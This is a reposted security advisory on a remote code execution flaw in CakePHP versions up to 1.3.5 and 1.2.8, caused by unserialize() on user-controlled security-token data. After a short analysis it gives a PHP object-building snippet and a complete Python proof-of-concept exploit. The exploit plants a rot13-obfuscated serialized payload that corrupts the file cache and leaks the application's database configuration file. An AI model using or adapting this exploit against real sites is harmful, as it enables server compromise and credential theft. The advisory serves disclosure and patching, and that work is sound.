1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 |
Source:http://securityreason.com/securityalert/8026 CakePHP <= 1.3.5 / 1.2.8 unserialize() Vulnerability felix |at| malloc.im =========================================================================== ==== Overview: "CakePHP is a rapid development framework for PHP that provides an extensible architecture for developing, maintaining, and deploying applications. Using commonly known design patterns like MVC and ORM within the convention over configuration paradigm, CakePHP reduces development costs and helps developers write less code." - cakephp.org CakePHP is vulnerable to a file inclusion attack because of its use of the "unserialize()" function on unchecked user input. This makes it possible to inject arbitary objects into the scope. Details: CakePHP uses the following function in the Security component to protect against XSRF attacks with POST Requests: function _validatePost(&$controller) { -- snip -- $check = $controller->data; $token = urldecode($check['_Token']['fields']); if (strpos($token, ':')) { list($token, $locked) = explode(':', $token, 2); } $locked = unserialize(str_rot13($locked)); -- snip -- The $check array contains our POST data and $locked is a simple (rot-13 obfuscated) serialized string, which is completely under our control. PHP5 introduces a destructor with the "__destruct" method. Each object will execute its __destruct method at the end of its lifetime and we can use this to turn an unchecked unserialize() call in an useful exploit. (See Stefan Essers talk @ http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf for more information) CakePHP defines the App Class with the following destruct method: function __destruct() { if ($this->__cache) { $core = App::core('cake'); unset($this->__paths[rtrim($core[0], DS)]); Cache::write('dir_map', array_filter($this->__paths), '_cake_core_'); Cache::write('file_map', array_filter($this->__map), '_cake_core_'); Cache::write('object_map', $this->__objects, '_cake_core_'); } } As we can see, this method can be abused by an manipulated object to write arbitary values into the _cake_core Cache. The most interesting key to corrupt is the file_map. It provides the mapping between Classes and PHP Files and is used to load additional Classes at runtime. The real code for the loading of classes is a bit complicated but it all boils down to the following code in the __load method inside the App class: if (file_exists($file)) { if (!$this->return) { require($file); $this->__loaded[$file] = true; } return true; This means we can execute arbitary files on the local filesystem. CakePHP uses a file based caching system in its standard configuration, and the cache data is written in serialized form to a known location. We can use this information to create a create a manipulated App object that executes our PHP Payload: $x=new App(); $x->__cache=1; $x->__map=array("Core" => array("Router" => "../tmp/cache/persistent/cake_core_file_map"), "Foo" => "<? phpinfo(); exit(); ?>"); $x->__paths=array(); $x->__objects=array(); echo serialize($x); POC: See http://malloc.im/burnedcake.py for a working POC exploit. PoC also shown below. Patch: This bug was patched in Version 1.3.6 and 1.2.9 #!/usr/bin/python # # burnedCake.py - CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Exploit # written by felix@malloc.im # # This code exploits a unserialize() vulnerability in the CakePHP security # component. See http://malloc.im/CakePHP-unserialize.txt for a detailed # analysis of the vulnerability. # # The exploit should work against every CakePHP based Application, that # uses POST forms with security tokens and hasn't changed the Cache # configuration (file-system caching is standard). Exploiting # other caching configurations is possible but not as elegant. # # This POC will output the database config file of the running CakePHP Application, # other payloads are easily possibe with a changed PHP Code. from optparse import OptionParser from urlparse import urlparse,urljoin import urllib2 import urllib import re def request(url,data="",headers={},debug=0): if (data==""): request = urllib2.Request(url=url,headers=headers) else: request = urllib2.Request(url=url,headers=headers,data=data) debug_handler = urllib2.HTTPHandler(debuglevel = debug) opener = urllib2.build_opener(debug_handler) response=opener.open(request) return response if __name__=="__main__": parser = OptionParser(usage="usage: %prog [options] url") parser.add_option("-p", "--post", dest="post", help="additional post content as urlencoded string") parser.add_option("-v", action="store_true", dest="verbose", help="verbose mode") (options, args) = parser.parse_args() if len(args)!=1: parser.error("wrong number of arguments") if options.verbose: debug=1 else: debug=0 if not options.post: options.post="" url=urlparse(args[0]) html=request(url.geturl(),debug=debug ).read() try: key=re.search("data\[_Token\]\[key\]\" value=\"(.*?)\"",html).group(1) path=re.search('method="post" action="(.*?)"',html).group(1) fields=re.search('data\[_Token\]\[fields\]" value="([0-9a-f]{32}).*?"',html).group(1) except: print "[x] Regex failed! :(" exit() # Add additional POST variables with the -p option, if they are needed for the # Form to be accepted. Example: Croogo Admin Panel Login if options.post: options.post="&"+options.post # This is a rot13 "encrypted" serialized CakePHP Object # This object will write 2 values in the cake_core_file_map Cache: # The PHP payload (readfile(....); exit();) and a new value # for the Core/Router entry that shows to the Cache representation # on the filesystem (tmp/cache/persistent_cake_core_filemap). # CakePHP tries to include the Router class and our payload # get's executed ==> Owned. (See the advisory for more details) payload='%3AB:3:"Ncc":4:{f:7:"__pnpur";f:3:"onz";f:5:"__znc";n:2:{f:4'+\ ':"Pber";n:1:{f:6:"Ebhgre";f:42:"../gzc/pnpur/crefvfgrag/pnxr_pber_sv'+\ 'yr_znc";}f:3:"Sbb";f:49:"<? ernqsvyr(\'../pbasvt/qngnonfr.cuc\'); rkv'+\ 'g(); ?>";}f:7:"__cnguf";n:0:{}f:9:"__bowrpgf";n:0:{}}' data={ "_method" : "POST", "data[_Token][key]" : key, "data[_Token][fields]" : fields+payload } url=urljoin(url.geturl(),path) # We execute the same request twice. # Our manipulated Cache write in the first request will be overwritten by # the legitimate App Object. The second request won't trigger a normal Cache # write again and our payload can get planted. request(url,urllib.urlencode(data)+options.post,debug=debug).read() request(url,urllib.urlencode(data)+options.post,debug=debug).read() print request(url,debug=debug).read() |